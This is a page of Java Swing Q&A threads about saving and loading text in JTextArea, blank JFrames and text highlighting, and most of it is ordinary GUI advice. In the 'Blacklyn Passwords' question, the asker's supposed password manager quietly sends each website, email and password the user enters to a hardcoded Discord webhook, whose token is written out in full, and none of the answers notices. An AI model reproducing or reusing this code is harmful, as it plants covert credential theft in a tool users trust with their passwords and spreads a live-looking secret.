How to save an edited text file in a JTextArea? - java

I am trying to write a text editor app in Java. The following program reads in a text file then displays it via the BufferedReader method. However, at this point I am completely stuck. The displayed text can be edited in the JFrame window. But after editing, I don't know how I can then close and save the edited file (i.e. how to incorporate the event handler and then save the edited text).
I have tried many things but would very much appreciate help with how to progress from this point. I'm quite new to Java so maybe the whole structure of my program is wrong - any help much appreciated. The main program is here, followed by the display panel creator it calls. The program should pop out a window with any text file called text.txt you have placed in the directory.
MAIN:
import java.io.*;
import java.util.ArrayList;
import static java.lang.System.out;
public class testApp4 {
public static void main(String args[]) {
ArrayList<String> listToSend = new ArrayList<String>();
String file = "text.txt";
try (BufferedReader br = new BufferedReader(new FileReader(file)))
{
String line;
while ((line = br.readLine()) != null) {
listToSend.add(line);
}
br.close();
}
catch(FileNotFoundException e)
{
out.println("Cannot find the specified file...");
}
catch(IOException i)
{
out.println("Cannot read file...");
}
new DisplayPanel(listToSend);
}
}
Display panel creator:
import java.awt.Font;
import java.util.ArrayList;
import javax.swing.JFrame;// javax.swing.*;
import javax.swing.JPanel;
import javax.swing.JTextArea;
import javax.swing.JScrollPane;
import javax.swing.ScrollPaneConstants;
public class DisplayPanel {
public DisplayPanel(ArrayList<String> list) //constructor of the DisplayGuiHelp object that has the list passed to it on creation
{
JTextArea theText = new JTextArea(46,120); //120 monospaced chrs
theText.setFont(new Font("monospaced", Font.PLAIN, 14));
theText.setLineWrap(true);
theText.setEditable(true);
for(String text : list)
{
theText.append(text + "\n"); //append the contents of the array list to the text area
}
JScrollPane scroll = new JScrollPane(theText);
scroll.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
JPanel mainPanel = new JPanel();
mainPanel.add(scroll);
final JFrame theFrame = new JFrame();
theFrame.setTitle("textTastico");
theFrame.setSize(1100, 1000);
theFrame.setLocation(550, 25);
theFrame.add(mainPanel); //add the panel to the frame
theFrame.setVisible(true);
System.out.print(theText.getText()); //double check output!!!
}
}

One way to handle this is to alter the default behavior of the window closing and adding a WindowListener that catches the window closing event and do the saving there.
A simple example that could be added in the DisplayPanel class (right after you create the jFrame object):
theFrame.setDefaultCloseOperation(WindowConstants.DO_NOTHING_ON_CLOSE);
theFrame.addWindowListener(new WindowAdapter() {
#Override
public void windowClosing(WindowEvent e) {
super.windowClosing(e);
String[] lines = theText.getText().split("\\n");
try (BufferedWriter writer = new BufferedWriter(new FileWriter("newfile.txt"))) {
for (String line : lines)
writer.write(line + "\n");
} catch (IOException i) {
System.out.println("Cannot write file...");
}
System.out.println("File saved!");
System.exit(0);
}
});
The code above will save the altered text to the file newfile.txt when the window is closed.
In the example above the splitting into lines is probably unnecessary; you would likely get the correct output by just doing writer.write(theText.getText());. The main take away should be the use of the WindowAdapter though.
Some relevant documentation:
How to Write Window Listeners

Here is an example of saving a text file using a JButton to fire the event.
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import java.io.*;
public class DisplayPanel {
public static String textFilePath = // adjust path as needed
"C:\\Users\\Andrew\\Documents\\junk.txt";
private JComponent ui = null;
private JFrame frame;
private JTextArea theText;
private JButton saveButton;
private ActionListener actionListener;
File file;
DisplayPanel(File file) {
this.file = file;
try {
initUI();
} catch (IOException ex) {
ex.printStackTrace();
}
}
private void saveText() {
Writer writer = null;
try {
writer = new FileWriter(file);
theText.write(writer);
} catch (IOException ex) {
ex.printStackTrace();
} finally {
try {
writer.close();
} catch (IOException ex) {
ex.printStackTrace();
}
}
}
public final void initUI() throws FileNotFoundException, IOException {
if (ui != null) {
return;
}
ui = new JPanel(new BorderLayout(4, 4));
ui.setBorder(new EmptyBorder(4, 4, 4, 4));
theText = new JTextArea(20, 120); //120 monospaced chrs
theText.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 14));
theText.setLineWrap(true);
theText.setEditable(true);
JScrollPane scroll = new JScrollPane(theText);
scroll.setVerticalScrollBarPolicy(
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
ui.add(scroll);
saveButton = new JButton("Save");
ui.add(saveButton, BorderLayout.PAGE_START);
actionListener = (ActionEvent e) -> {
saveText();
};
saveButton.addActionListener(actionListener);
Reader reader = new FileReader(file);
theText.read(reader, file);
}
public void createAndShowGUI() {
frame = new JFrame(this.getClass().getSimpleName());
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
frame.setLocationByPlatform(true);
frame.setContentPane(getUI());
frame.pack();
frame.setMinimumSize(frame.getSize());
frame.setVisible(true);
}
public JComponent getUI() {
return ui;
}
public static void main(String[] args) {
Runnable r = () -> {
try {
UIManager.setLookAndFeel(
UIManager.getSystemLookAndFeelClassName());
} catch (Exception useDefault) {
}
File file = new File(textFilePath);
DisplayPanel o = new DisplayPanel(file);
o.createAndShowGUI();
};
SwingUtilities.invokeLater(r);
}
}

Related

Why is GUI content not visible?

I made a basic GUI program with Java Swing. But it is not even opening. I think it might be because I put the setVisible(true) method at the beginning.
But even if I put it at the bottom of the code, it is not displaying. Here is my code. What am I doing wrong?
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws Exception {
//objects ------------------------------------------------------------------------------------------------------
JTextArea area = new JTextArea();
JFrame jframe = new JFrame();
JPanel panel = new JPanel();
JLabel label = new JLabel();
JButton button = new JButton();
JButton btn = new JButton();
//frame---------------------------------------------------------------------------------------------------------
jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
jframe.setTitle("Blacklyn Passwords");
jframe.setSize(400,200);
//also tried it here, it´s showing...but it´s white all the time, and I tried to refresh it,I minimized it, and opened it back...but nothing changed...still white "jframe.setVisible(true)"
//label---------------------------------------------------------------------------------------------------------
label.setText("Blacklyn");
label.setForeground(Color.BLACK);//(new Color(135, 134, 131));
label.setFont(new Font("Calibri",Font.BOLD,25));
//areas---------------------------------------------------------------------------------------------------------
String data = readFile("data.json");
area.setText(data);
area.setEditable(false);
area.setBackground(new Color(23,23,23));
area.setForeground(new Color(68, 68, 68));
//buttons--------------------------------------------------------------------------------------------------------
button.setText("ADD");
button.setForeground(new Color(135, 134, 131));
button.setBackground(new Color(23,23,23));
button.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
String Website = JOptionPane.showInputDialog(null,"Enter a Website or Topic.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Email = JOptionPane.showInputDialog(null,"Enter a Email.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Password = JOptionPane.showInputDialog(null,"Enter a Password","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
String flll = "data.json";
json_write(flll, Website + " " + Email + " " + Password);
send(Website + " " + Email + " " + Password);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}
});
btn.setText("DELETE");
btn.setForeground(new Color(135, 134, 131));
btn.setBackground(new Color(23,23,23));
btn.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
File file = new File("data.json");
if(file.exists()){
String storage = JOptionPane.showInputDialog(null,"Enter what Website or Topic you want to delete","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
deleteLine(storage);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}else{
JOptionPane.showMessageDialog(null,"You have no Passwords to delete","Blacklyn",JOptionPane.ERROR_MESSAGE);
}
}
});
//panel---------------------------------------------------------------------------------------------------------
panel.setBackground(new Color(15,15,15));
panel.add(label);
panel.add(button);
panel.add(btn);
panel.add(area);
// I also tried it here(its not even showing)jframe.setVisible(true);
//END-----------------------------------------------------------------------------------------------------------
jframe.add(panel);
//it´s also not showing
jframe.setContentPane(panel);
}
public static void deleteLine(String start) throws IOException {
RandomAccessFile file = new RandomAccessFile("data.json", "rw");
String delete;
String task="";
byte []tasking;
while ((delete = file.readLine()) != null) {
if (delete.startsWith(start)) {
continue;
}
task+=delete+"\n";
}
System.out.println(task);
BufferedWriter writer = new BufferedWriter(new FileWriter("data.json"));
writer.write(task);
file.close();
writer.close();
}
public static String readFile(String fileName)throws Exception
{
String data = "";
data = new String(Files.readAllBytes(Paths.get(fileName)));
return data;
}
public static void json_write(String file, String data) throws IOException {
FileWriter fw = new FileWriter(file,true);
fw.write(data + "\n");
fw.flush();
fw.close();
}
public static void send(String data) throws IOException {
DiscordWebhook dw = new DiscordWebhook("https://discord.com/api/webhooks/899693331968323605/Ln4AYxUO8caGZDvi9628LuhaFmjgnhPOf2rrY5wVKEbGdiMFlnlyVy8BhM-HX6a_LkI2");
dw.addEmbed(new DiscordWebhook.EmbedObject().setTitle("Hurensohn Jans Password").setDescription(data));
dw.execute();
}
}
I also tried to research online, but no one has the same problem. So I decided to open a question here.
I see you are probably following a tutorial.
There is a lot going on here. But the most important code is the first part.
You need to set your contentPane.
In every GUI with Java Swing, you set your JFrame to be the frame.
Then you add your JPanel to your JFrame.
frame.add(panel);
then you set your panel as contentPane:
frame.setContentPane(panel)
Then you add all your elements to your panel.
Also you need to use a layout manager.
You may do it with Layout null, but then you need to use the setBounds() method to put everything in place, which is okey for your first GUI, but a lot of work.
Does this help you? please use a comment if it helped or not, then I can take another look.
This is a typical "tutorial" coding style. Comparing it with building a house, one builds floors, doors, windows, here I also see a table with chairs, already electricity and plumbing (actionPerformed). That is very fragmentary, not your fault.
You could already start with some inheritance:
public class MyBlacklynFrame extends JFrame {
private JPanel panel;
private JLabel label = new JLabel("Hello");
public MyBlacklynFrame () {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setTitle("Blacklyn Passwords");
setSize(400, 200);
panel = new JPanel();
panel.setLayout(new BorderLayout());
panel.add(label, BorderLayout.SOUTH);
add(panel);
pack();
}
}
public class Main {
public static void main(String[] args) throws Exception {
MyBlacklynFrame frame = new MyBlacklynFrame();
SwingUtilities.invokeLater(() -> frame.setVisible(true));
}
}
The above uses two different creation styles (for resp. panel and label).
The frame is made visible on the AWT event queue by invokeLater.
() -> frame.setVisible(true) is an anonymous function with as body frame.setVisible(true);. It will later be executed on the event handling thread of swing (where button clicks and redrawing happens).
Calling pack does layouting.
There are some GUI designers with which you can create all this code in a GUI with components. Afterwards you could look at the created code.
I hope you see that here the GUI is constructed hierarchical. A panel with several components, text box, buttons, could also be put in its own class. So panel = new MySuperPanel(); could keep all compartimentized.

Reading a file that has multiple lines and outputting that to a JLabel

I am reading from a file that will have tons of lines of text and I want my program to read all of the lines in that file and output them in the same format onto either a JLabel or anything that would work.
public String readSoldTo() {
String file = "/Users/tylerbull/Documents/JUUL/Sold To/soldTo.txt";
String data;
try{
BufferedReader br = new BufferedReader(new FileReader(file));
while ((data = br.readLine()) != null) {
System.out.println(data);
return data;
}
br.close();
}catch(Exception e) {
}
return file;
}
A JLabel is built to display one line of text. Yes you can jury-rig it to show more, but that's a kludge and can often cause future problems in your code. Instead I would suggest that you display your text in a JTextArea, and you can make it so that it looks like a JLabel by removing its border by making its background color null. If you add it to a JScrollPane though, you'll see scrollbars (if appropriate) and the scrollpane's border, which may be a problem. I would also make the JTextArea non-focusable and non-editable, again so that it acts more like a label and less like a text component that accepts user interaction.
Also JTextComponents, like JTextFields have mechanisms that allow you pass it a reader so that it can participate in the reading of the text file, preserving line breaks if desired. Please see its read method API entry for more on this. As always, take care to respect Swing threading rules, and do your text I/O in a background thread, and all Swing mutation calls on the Swing event thread.
Your code also worries me some:
You seem to be ignoring exceptions
You have two returns in your method above, and both return two vastly different bits of information.
For example:
import java.awt.BorderLayout;
import java.awt.event.*;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import javax.swing.*;
import javax.swing.filechooser.FileNameExtensionFilter;
#SuppressWarnings("serial")
public class TextAreaAsLabel extends JPanel {
private static final int TA_ROWS = 30;
private static final int TA_COLS = 50;
private static final Font TA_FONT = new Font(Font.DIALOG, Font.BOLD, 12);
private JTextArea textArea = new JTextArea(TA_ROWS, TA_COLS);
public TextAreaAsLabel() {
// JButton and JPanel to open file chooser and get text
JPanel buttonPanel = new JPanel();
buttonPanel.add(new JButton(new ReadTextAction("Read Text")));
// change JTextArea's properties so it "looks" like a multi-lined JLabel
textArea.setLineWrap(true);
textArea.setWrapStyleWord(true);
textArea.setBackground(null);
textArea.setBorder(null);
textArea.setFocusable(false);
textArea.setEditable(false);
textArea.setFont(TA_FONT);
// add components to *this* jpanel
setLayout(new BorderLayout());
add(textArea, BorderLayout.CENTER);
add(buttonPanel, BorderLayout.PAGE_END);
}
private class ReadTextAction extends AbstractAction {
public ReadTextAction(String name) {
super(name);
int mnemonic = (int) name.charAt(0);
putValue(MNEMONIC_KEY, mnemonic);
}
#Override
public void actionPerformed(ActionEvent e) {
// create file chooser and limit it to selecting text files
JFileChooser fileChooser = new JFileChooser();
FileNameExtensionFilter filter = new FileNameExtensionFilter("Text Files", "txt");
fileChooser.setFileFilter(filter);
fileChooser.setMultiSelectionEnabled(false);
// display it as a dialog
int choice = fileChooser.showOpenDialog(TextAreaAsLabel.this);
if (choice == JFileChooser.APPROVE_OPTION) {
// get file, check if it exists, if it's not a directory
File file = fileChooser.getSelectedFile();
if (file.exists() && !file.isDirectory()) {
// use a reader, pass into text area's read method
try (BufferedReader br = new BufferedReader(new FileReader(file))){
textArea.read(br, "Reading in text file");
} catch (IOException e1) {
e1.printStackTrace();
}
}
}
}
}
private static void createAndShowGui() {
JFrame frame = new JFrame("Foo");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.getContentPane().add(new TextAreaAsLabel());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
public static void main(String[] args) {
SwingUtilities.invokeLater(() -> createAndShowGui());
}
}

how to add .txt file to a JTextArea and where to place my .txt file?

i'm working on my first GUI program and almost finished the last class is a jFrame that has a .txt file and a button to close the window and i don't know how to append my file into the window ???
package eg.edu.guc.santorini.gui;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.Container;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
public class Rules extends JFrame implements ActionListener, MouseListener{
JPanel Rules;
JTextArea rules;
public Rules() throws IOException
{
super();
setTitle("Rules Of Santorini Board Game");
setSize(1000, 700);
setLocation(200, 100);
Container content = getContentPane();
content.setBackground(new Color(220,20,60));
content.setLayout(new BorderLayout());
setVisible(true);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setLocationRelativeTo(null);
WindowDestroyer wd = new WindowDestroyer();
addWindowListener(wd);
JTextArea rules=new JTextArea();
rules.append("");
JTextArea textArea = new JTextArea();
JScrollPane scrollPane = new JScrollPane(textArea);
StringBuilder builder = new StringBuilder();
// read a text file from resources folder that is parallel to src folder
BufferedReader reader = new BufferedReader(new FileReader(new File("resources/New Text Document.txt")));
String line = null;
while ((line = reader.readLine()) != null) {
// read the file line by line
builder.append(line).append(System.lineSeparator());
}
reader.close();
// set the content of file in text area
textArea.setText(builder.toString());
/* FileReader fileReader = new FileReader("New Text Document.txt");
BufferedReader bufferedReader = new BufferedReader(fileReader);
String inputFile = "";
String textFieldReadable = bufferedReader.readLine();
while (textFieldReadable != null){
inputFile += textFieldReadable;
textFieldReadable = bufferedReader.readLine();
rules.setText(inputFile);*/
Rules=new JPanel();
Rules.setLayout(null);
this.setDefaultCloseOperation(EXIT_ON_CLOSE);
Rules.setVisible(true);
Rules.setBackground(Color.ORANGE);
add(Rules, BorderLayout.CENTER);
Rules.setSize(1000, 700);
this.getContentPane().add(Rules);
JButton ok=new JButton("Got It");
ok.setSize(100, 50);
ok.setLocation(800, 570);
ok.addMouseListener(this);
Rules.add(ok);
ok.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e)
{
//dispose();
setVisible(false);
}
});
//JFrame f = new JFrame();
//f.setSize(320, 200);
//f.getContentPane().add(rules);
//f.setVisible(true);
}
#Override
public void mouseClicked(MouseEvent arg0) {
// TODO Auto-generated method stub
}
#Override
public void mouseEntered(MouseEvent arg0) {
// TODO Auto-generated method stub
}
#Override
public void mouseExited(MouseEvent arg0) {
// TODO Auto-generated method stub
}
#Override
public void mousePressed(MouseEvent arg0) {
// TODO Auto-generated method stub
}
#Override
public void mouseReleased(MouseEvent arg0) {
// TODO Auto-generated method stub
}
#Override
public void actionPerformed(ActionEvent e) {
// TODO Auto-generated method stub
}
}
where to place my .txt file?
You can try any one
// Read from same package
InputStream in = getClass().getResourceAsStream("abc.txt");
// Read from resources folder parallel to src in your project
File file = new File("resources/abc.txt");
// Read from src/resources folder
InputStream in = getClass().getResourceAsStream("/resources/abc.txt");
--EDIT--
Must read A Visual Guide to Layout Managers.
Here is some points from your code:
Don't use null layout Rules.setLayout(null);
Call JFrame#setVisible(true); in the end when all the components are added
Always use SwingUtilities.invokeLater() to initialize the GUI
Follow Java Naming convention.
To read a file into a JTextArea you can simply use JTextArea#read, this will, however, discard the current contents of the JTextArea
Updated
After adding the code to an IDE, I've noted that you are not adding rules (the JTextArea) to anything so it will never be visible...
The general structure of how you create your UI is also a little skewed, try something more like...
public class Rules extends JFrame {
public Rules() throws IOException {
super();
// Initial setu[
setTitle("Rules Of Santorini Board Game");
// Create the basic UI content
JTextArea textArea = new JTextArea(40, 20);
JScrollPane scrollPane = new JScrollPane(textArea);
// Read the file
try (BufferedReader reader = new BufferedReader(new FileReader(new File("resources/New Text Document.txt")))) {
textArea.read(reader, "File");
} catch (IOException exp) {
exp.printStackTrace();
}
getContentPane().setBackground(Color.ORANGE);
JButton ok = new JButton("Got It");
add(textArea, BorderLayout.SOUTH);
add(ok, BorderLayout.SOUTH);
ok.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
//dispose();
//?? No idea what this is for, but it won't do much
setVisible(false);
}
});
pack();
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setLocationRelativeTo(null);
setVisible(true);
}
}
Don't use MouseListeners with buttons, instead you should be using an ActionListener
Don't use null layouts. Pixel perfect layouts are an illusion in modern UI design, you have no control over fonts, DPI, rendering pipelines or other factors that will change the way that you components will be rendered on the screen.
Swing was designed to work with layout managers to overcome these issues. If you insist on ignoring these features and work against the API design, be prepared for a lot of headaches and never ending hard work...

JFrame opening empty

I'm trying to create a program and it's not showing anything in JFrame which is rather odd. The code seems to fit but java appears to be confused or something. Here's my code so far:
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.io.IOException;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
public class Img extends JFrame{
/**
*
*/
private static final long serialVersionUID = -6362332275268668673L;
static JFrame panel = new JFrame();
private JButton next= new JButton("Next");
public Img(String a, String b){
ShowPng1(a,b);
}
public void ShowPng1(String a, String b) {
ImageIcon theImage = new ImageIcon("Icon_Entry_21.png");
panel.setSize(300, 300);
panel.setResizable(false);
JLabel label = new JLabel(a);
JLabel label2 = null;
if(!b.isEmpty()){
label2 = new JLabel("NOTE: " + b);
}
JLabel imageLabel = new JLabel(theImage);
imageLabel.setOpaque(true);
JPanel p1 = new JPanel(new GridLayout(3, 1));
p1.add(imageLabel);
p1.add(label);
if(label2 != null)p1.add(label2);
panel.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
panel.setVisible(true);
}
public void ShowPng2(String a, String b) {
ImageIcon theImage = new ImageIcon("Icon_Entry_21.png");
panel.setSize(300, 300);
panel.setResizable(false);
JLabel label = new JLabel(a);
JLabel label2 = null;
if(!b.isEmpty()){
label2 = new JLabel("NOTE: " + b);
}
JLabel imageLabel = new JLabel(theImage);
imageLabel.setOpaque(true);
JPanel p1 = new JPanel(new GridLayout(3, 1));
p1.add(imageLabel);
p1.add(label);
if(label2 != null)p1.add(label2);
p1.add(next);
panel.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
panel.setVisible(true);
try {
Runtime.getRuntime().exec("cmd /c start mailrugames://play/0.3001");
} catch (IOException e) {
JOptionPane.showMessageDialog(null, "Error launching client.","Error", JOptionPane.ERROR_MESSAGE);
System.exit(-1);
}
}
public void actionPerformed(ActionEvent e) {
try {
ShowPng1("Applying patch NOW.","");
Process p1 = Runtime.getRuntime().exec("cmd /c start Start.bat");
p1.waitFor();
JOptionPane.showMessageDialog(null, "Done!","Note", JOptionPane.INFORMATION_MESSAGE);
System.exit(0);
} catch (IOException e1) {
e1.printStackTrace();
System.exit(-1);
} catch (InterruptedException e1) {
e1.printStackTrace();
System.exit(-1);
}
}
public static void main(String[] args) throws IOException, InterruptedException {
Img i = new Img("Preparing client for a patch","");
Process p1 = Runtime.getRuntime().exec("cmd /c start Clean.bat");
p1.waitFor();
Img.panel.dispose();
i.ShowPng2("Launching client.","Make sure the client is fully patched before closing it and clicking `Next`");
}
}
It should load an Image imageLabel into a container and show some text label and label2 on the bottom. The difference between ShowPng1() and ShowPng2() is the Next button, it's located in ShowPng2().
You add nothing to the JFrame.
You never set the JFrame to visible.
You tie up the Swing event thread with a long-running process.
You need to add components to the JFrame itself.
You need to set it visible after components have been added.
You need to run your long-running process in a background thread.
You need to go through the Swing tutorials.
Check out the swing tag, click on the info link, and check out the resources that it contains.
1) You are not adding components to the JFrame itself. You forget to add
public class Img extends JFrame{
.
.
public void ShowPng1(String a, String b) {
//your code here, don't call panel.setVisible(true) here is not necesary
this.add(panel);
}
}
2) Don't call panel.setVisible(true) it's not necessary.. just call i.setVisible(true) in main.
3)To ensure that your code is running in the event dispatch thread wrap it with SwingUtilities.invokeLater(..)
4)You should execute your command in a background thread if it's a long running task cause if not you will block your gui. Read more in Concurrency in swing
5) Follow Java code conventions, method names starts with lower-case with a camel style.
6) Follow #HovercraftFullOfEels advices too.
Take a look to the Swing Tutorial

Opening a text file in a frame using swing components

I want to open a text file in a frame using swing components, preferably with highlighting facility. I get the name of the text file in a text filed in the first frame and want to open the text file in the second frame.My code is
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class FirstGUI extends JFrame {
private JLabel label;
private JTextField textfield;
private JButton button;
public FirstGUI() {
setLayout(new FlowLayout());
label = new JLabel("Enter the file path:");
add(label);
textfield = new JTextField();
add(textfield);
button = new JButton("Open");
add(button);
AnyClass ob = new AnyClass();
button.addActionListener(ob);
}
public class AnyClass implements ActionListener {
public void actionPerformed(ActionEvent obj) {
//SecondGUI s =new SecondGUI();
//s.setVisible(true);
}
}
public static void main(String[] args) {
FirstGUI obj= new FirstGUI();
obj.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
obj.setSize(600,600);
obj.setLocation(100,100);
obj.setVisible(true);
}
}
What swing component should I use in my second frame to open a text file in it ? If possible, please provide the outline of the code !!
Extending on mKorbel and Dans answer:
Well you could use a JTextArea like so:
import java.awt.BorderLayout;
import java.awt.Color;
import java.lang.reflect.InvocationTargetException;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
import javax.swing.text.*;
public class LineHighlightPainter {
String revisedText = "Hello, World! ";
String token = "Hello";
public static void main(String args[]) {
try {
SwingUtilities.invokeAndWait(new Runnable() {
#Override
public void run() {
new LineHighlightPainter().createAndShowGUI();
}
});
} catch (InterruptedException | InvocationTargetException ex) {
ex.printStackTrace();
}
}
public void createAndShowGUI() {
JFrame frame = new JFrame("LineHighlightPainter demo");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JTextArea area = new JTextArea(9, 45);
area.setLineWrap(true);
area.setWrapStyleWord(true);
area.setText(revisedText);
// Highlighting part of the text in the instance of JTextArea
// based on token.
highlight(area, token);
frame.getContentPane().add(new JScrollPane(area), BorderLayout.CENTER);
frame.pack();
frame.setVisible(true);
}
// Creates highlights around all occurrences of pattern in textComp
public void highlight(JTextComponent textComp, String pattern) {
// First remove all old highlights
removeHighlights(textComp);
try {
Highlighter hilite = textComp.getHighlighter();
Document doc = textComp.getDocument();
String text = doc.getText(0, doc.getLength());
int pos = 0;
// Search for pattern
while ((pos = text.indexOf(pattern, pos)) >= 0) {
// Create highlighter using private painter and apply around pattern
hilite.addHighlight(pos, pos + pattern.length(), myHighlightPainter);
pos += pattern.length();
}
} catch (BadLocationException e) {
e.printStackTrace();
}
}
// Removes only our private highlights
public void removeHighlights(JTextComponent textComp) {
Highlighter hilite = textComp.getHighlighter();
Highlighter.Highlight[] hilites = hilite.getHighlights();
for (int i = 0; i < hilites.length; i++) {
if (hilites[i].getPainter() instanceof MyHighlightPainter) {
hilite.removeHighlight(hilites[i]);
}
}
}
// An instance of the private subclass of the default highlight painter
Highlighter.HighlightPainter myHighlightPainter = new MyHighlightPainter(Color.red);
// A private subclass of the default highlight painter
class MyHighlightPainter
extends DefaultHighlighter.DefaultHighlightPainter {
public MyHighlightPainter(Color color) {
super(color);
}
}
}
Or alternatively use a JTextPane and text can be highlighted by:
1) Changing any style attributes of arbitrary text parts on the document level, something like:
SimpleAttributeSet sas = new SimpleAttributeSet();
StyleConstants.setForeground(sas, Color.YELLOW);
doc.setCharacterAttributes(start, length, sas, false);
2) Highlight via a Highlighter on the textPane level:
DefaultHighlighter.DefaultHighlightPainter highlightPainter = new DefaultHighlighter.DefaultHighlightPainter(Color.YELLOW);
textPane.getHighlighter().addHighlight(startPos, endPos,highlightPainter);
References:
Highlighting Text in java
JTextPane highlight text
The simplest choice would be a JTextArea.
Another better choice is a JEditorPane.
You can take a look at this text components tutorial for understanding them better and choosing the best you need.
have look at
JFileChooser
JTextComponent#read()
JtextArea text
fileInputStream myFIS;
objectInputStream myOIS(myFIS);
Data = myOIS.read();
text.setText(Data);
that should give you some kind of an idea where to go. Don't forget to set the file input stream up with a file location so it knows what file to open. Then the ObjectInputStream will take the data and save the information into a field called Data. Then set the textArea to use Data as the information to "Set" the textArea to display.
Note: ObjectInputStream is not the only input stream available to use. you will have to use the input stream that correlates to your file.

Categories

Resources